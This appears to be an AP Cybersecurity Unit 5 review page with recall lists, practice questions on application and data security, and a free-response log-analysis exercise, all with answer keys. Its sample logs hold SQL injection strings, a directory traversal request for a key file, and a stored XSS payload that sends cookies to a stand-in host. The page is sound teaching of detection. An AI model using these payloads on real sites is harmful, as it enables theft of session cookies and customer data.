LockInCS

AP® Cybersecurity · Unit 5 review

Unit 5 review: Securing Applications and Data

Recall the lists, answer 12 exam-style questions (aim for 18 minutes, about 80 seconds each), then try a free-response question and mark it with the scoring guide.

Abbreviations on this page. SQL: structured query language. XSS: cross site scripting. HTTP: hypertext transfer protocol. URL: uniform resource locator. PII: personally identifiable information. PHI: protected health information. PCI: payment card information. RBAC, RuBAC, DAC and MAC: role-based, rule-based, discretionary and mandatory access control. AES: Advanced Encryption Standard. RSA and ECC: two asymmetric algorithms (ECC is elliptic curve cryptography). DLP: data loss prevention. IP: internet protocol. SHA: Secure Hash Algorithm.

Unit 5 by the numbers

Say each list out loud, then tap to check.

3 ways files are exposed Say them, then tap
  • unencrypted files
  • regular users with administrative privileges
  • weak access control settings
Review 5.1 →
4 application attacks Say them, then tap
Review 5.1 →
2 types of XSS Say them, then tap
  • Type I reflected
  • Type II stored
Review 5.1 →
3 risk levels for data Say them, then tap
  • high
  • moderate
  • low
Review 5.1 →
3 data states Say them, then tap
Review 5.2 →
3 regulated data types Say them, then tap
Review 5.2 →
4 access control models Say them, then tap
  • role-based (RBAC)
  • rule-based (RuBAC)
  • discretionary (DAC)
  • mandatory (MAC)
Review 5.2 →
3 Linux permissions Say them, then tap
  • read (r, 4)
  • write (w, 2)
  • execute (x, 1)
Review 5.2 →
3 entities Say them, then tap
  • owner (u)
  • group (g)
  • others (o)
  • a sets all
Review 5.2 →
2 key classifications Say them, then tap
  • symmetric (one key)
  • asymmetric (two keys)
Review 5.3 →
2 processing classifications Say them, then tap
Review 5.3 →
AES block size Say them, then tap
  • 128 bits
  • which is 16 bytes
Review 5.3 →
3 ways to encrypt Say them, then tap
  • command line (OpenSSL)
  • specialized software (AES Crypt)
  • web-based tools
Review 5.3 →
2 keys in a pair Say them, then tap
Review 5.4 →
Keyspace of an n-bit key Say them, then tap
  • 2^n possible keys
  • on average 2^(n-1) guesses to find it
Review 5.4 →
2 common asymmetric algorithms Say them, then tap
Review 5.4 →
4 OpenSSL steps Say them, then tap
  • genrsa (make the pair)
  • rsa -pubout (extract public key)
  • pkeyutl -encrypt -pubin
  • pkeyutl -decrypt
Review 5.4 →
3 secure by design principles Say them, then tap
  • take ownership of customer security outcomes
  • embrace radical transparency and accountability
  • build organizational structure and leadership
Review 5.5 →
3 control characters Say them, then tap
  • single quote
  • double quote
  • semicolon
Review 5.5 →
3 attacks input sanitization blocks Say them, then tap
Review 5.5 →
3 suspicious data activities Say them, then tap
  • accessing files not typically accessed
  • access outside a user's normal patterns (time, location, device type)
  • attempts to delete or copy sensitive files
Review 5.6 →
3 criteria for detective controls Say them, then tap
  • cost
  • sensitivity or criticality
  • classification
Review 5.6 →
3 hash commands Say them, then tap
  • Get-FileHash testfile -Algorithm SHA256 (PowerShell)
  • sha256sum (bash)
  • shasum -a 256 (zsh)
Review 5.6 →
4 SQL injection signs Say them, then tap
  • single or double quotes
  • Boolean conditions like OR 1=1
  • a double dash --
  • SQL control words in capitals like WHERE
  • IN
  • FROM
Review 5.6 →
4 buffer overflow fields Say them, then tap
  • URL length
  • cookie length
  • query string length
  • total request length
Review 5.6 →

Do these first: official sample questions 2, 3, 11, 18, 19 and 20

Open the AP® Cybersecurity Course and Exam Description (College Board, effective Fall 2026) and go to the Exam Information section. Questions 2 and 3 are on page 150, Question 11 on page 154, and Questions 18, 19 and 20 on page 157. Question 5 on page 151 (comparing file hashes) also connects to topic 5.6. The sample free-response question (Device Security Analysis) also draws on Unit 5. Check your answers with the answer key at the end of the Exam Information section.

AP® Cybersecurity course page on AP Central (the Course and Exam Description PDF is linked there). The questions are © College Board and are not reproduced here.

Checkpoint · 12 questions

Unit 5 practice: 12 exam-style questions

Pick an answer to mark it. Every answer is explained, and you can try any question again. Your saved score counts first tries only, and stays in this browser.

  1. A summer intern who only needs to read the event calendar accidentally deletes the finance team's budget files. The shared folder gives every staff account read and write access.
    1 Which vulnerability most directly allowed the intern to delete the files? 5.1.A.3
    Show answer

    Answer: B. When access control settings are weakly configured, many users can view and even edit files, so they can be stolen or destroyed.

  2. 2 Which of the following is a possible result of a successful buffer overflow attack? 5.1.B.8
    Show answer

    Answer: C. A buffer overflow can crash the system or make it execute code outside the scope of the program's security policy, allowing unauthorized actions such as accessing, modifying or deleting files.

  3. Questions 3 and 4 refer to the following log from a theater's ticketing web application.
    access.log (user input decoded)
    LineSource IPRequestStatus
    L110.12.0.40GET /tickets?event=jazz-night200
    L2198.51.100.23GET /tickets?event=jazz' OR 1=1 --200
    L3198.51.100.23GET /posters?img=../../../../srv/keys/server.key403
    L410.12.0.41GET /tickets?event=rock-fest200
    3 Which line is an indicator of an SQL injection attempt? 5.6.E.1
    Show answer

    Answer: B. L2 contains a single quote, the Boolean condition OR 1=1 and a double dash comment marker, all signs of SQL injection.

  4. Questions 3 and 4 refer to the following log from a theater's ticketing web application.
    access.log (user input decoded)
    LineSource IPRequestStatus
    L110.12.0.40GET /tickets?event=jazz-night200
    L2198.51.100.23GET /tickets?event=jazz' OR 1=1 --200
    L3198.51.100.23GET /posters?img=../../../../srv/keys/server.key403
    L410.12.0.41GET /tickets?event=rock-fest200
    4 Which of the following best describes line L3 and a control that would help prevent it? 5.6.E.4, 5.5.B.2
    Show answer

    Answer: A. GET requests with sequences of ../ indicate directory traversal. Input sanitization protects against directory traversal as well as SQL injection and XSS.

  5. 5 A company encrypts the connection between its branch offices. Which state of data does this protect? 5.2.A.2
    Show answer

    Answer: C. Data in transit are being sent from one device to another and can be encrypted so an interceptor cannot immediately read them.

  6. On a video editing platform, the person who uploads a clip owns it and decides which teams can work on it. Owners can add or remove a team's access at any time, and only platform administrators can override them.
    6 Which access control model does the platform use? 5.2.C.4
    Show answer

    Answer: D. In DAC, subjects set the type of access other subjects have on objects they own.

  7. 7 Which command gives the owner and the group read and write access, and others no access? 5.2.D.6, 5.2.D.2
    Show answer

    Answer: B. Owner rw- = 4+2 = 6, group rw- = 4+2 = 6, others --- = 0.

  8. 8 Which of the following correctly describes AES? 5.3.B.2, 5.3.A.5
    Show answer

    Answer: A. AES is a symmetric key block cipher that encrypts data in 128-bit (16-byte) blocks and can use keys of varying lengths.

  9. A hospital must send lab results to a clinic it has never worked with. Both use asymmetric encryption and have published their public keys.
    9 Which key should the hospital use to encrypt the lab results it sends to the clinic? 5.4.A.4
    Show answer

    Answer: D. To send information securely, the sender uses the receiver's public key; only the receiver's private key can decrypt it.

  10. 10 On average, how many guesses would random guessing need to find an 8-bit key? 5.4.B.2
    Show answer

    Answer: B. An 8-bit key has a keyspace of 2^8 = 256, so on average 2^7 = 128 guesses are needed.

  11. An adversary copied a product design folder from a company's server. The company had a honeypot file named all_customer_cards.xlsx in a different folder, but it never raised an alert.
    11 Which of the following best explains why the honeypot did not alert? 5.6.C.3, 5.6.A.2
    Show answer

    Answer: D. Honeypots cannot detect adversaries who do not attempt to access them: a false negative.

  12. 12 Which product is most clearly secure by default? 5.5.A.3
    Show answer

    Answer: D. Secure by default means security features are enabled by default, so the device is secure to use out of the box.

Free-response practice

Device Security Analysis practice. On the AP® exam, the single free-response question gives several sources about one device. This original question uses Unit 5 skills. Suggested time: 20 minutes. 8 points.

The following sources all come from one web server, SHOP-WEB-02 (IP address 10.40.1.20), which runs an online craft shop. The shop's administrators belong to the group webadmins; the web application runs as the user www.

Source 1: Web application access log (user input decoded)

LineTimeSource IPRequestStatus
114:0210.40.3.15GET /shop?item=wool-scarf200
214:05192.0.2.77POST /reviews text=Lovely colors! <script>new Image().src="//192.0.2.77/c?"+document.cookie</script>201
314:09192.0.2.77GET /shop?item=x' UNION SELECT name, email FROM customers --200
414:1210.40.3.16GET /shop?item=clay-mug200

Source 2: ls -l in the web application folder

PermissionsOwnerGroupFile
-rw-r-----wwwwebadminsshop.php
-rw-rw-rw-wwwwebadminsdb.conf (database password)
-rwxr-x---wwwwebadminsnightly_backup.sh

Source 3: SHA-256 hashes (shortened), baseline from last week and today; no updates were installed in between

FileBaseline hashToday's hash
shop.php6b2e...90af6b2e...90af
checkout.phpc13d...5e218f70...b3c4
customers.db (export)47aa...0d1947aa...0d19

Questions

  1. A1. Identify the attack attempted in Source 1, line 2. Cite the evidence and state who is harmed if it succeeds.
  2. A2. Identify the attack attempted in Source 1, line 3, and describe one control in the application that would prevent both attacks in lines 2 and 3.
  3. B1. Identify the file in Source 2 whose permissions are a vulnerability. Explain why, and give a chmod command (numeric method) that applies least privilege, given that only the owner, www, ever needs to read and write it.
  4. C1. Using Source 3, identify the file that was altered and explain how you know.
  5. C2. The hash check in Source 3 found the change only today. Describe one detective control that could have alerted the shop while the attack in Source 1 was happening, and explain why.
Check with the scoring guide (8 points)
PartEarns the pointDoes not earn the point
A1 (2)1 point: stored (Type II) cross site scripting (XSS). 1 point: evidence: a script tag posted in a review and saved (status 201), which would run in the browsers of shoppers who view the review and send their cookies to 192.0.2.77.SQL injection, or "XSS" with no evidence or no mention of the visitors being affected.
A2 (2)1 point: SQL injection (a quote, SQL control words UNION, SELECT, FROM in capitals, and the -- comment). 1 point: input sanitization or validation: a verification function that removes control characters such as quotes and < > or rejects the input before it is processed.A detective control such as a honeypot, or encryption, offered as the prevention.
B1 (2)1 point: db.conf, because rw-rw-rw- gives all other users read and write access to the database password (weak access control). 1 point: chmod 600 db.conf.nightly_backup.sh, or a command such as chmod 640 or 644 that still gives the group or others access.
C1 (1)checkout.php: its hash changed between the baseline and today with no updates installed, so the file was altered.A file whose hash matched.
C2 (1)Realtime automated log analysis (alerting on script tags, quotes with OR or UNION SELECT), a DLP tool, or a honeypot file, because these alert as the attack happens instead of afterward.Another hash check or a monthly log review (both find attacks only after they occur), or a preventive control such as input sanitization.

Was this page helpful?

Please do not include personal details. To get a reply, email [email protected].

Contents
↑ Top

Enlarged view of the selected figure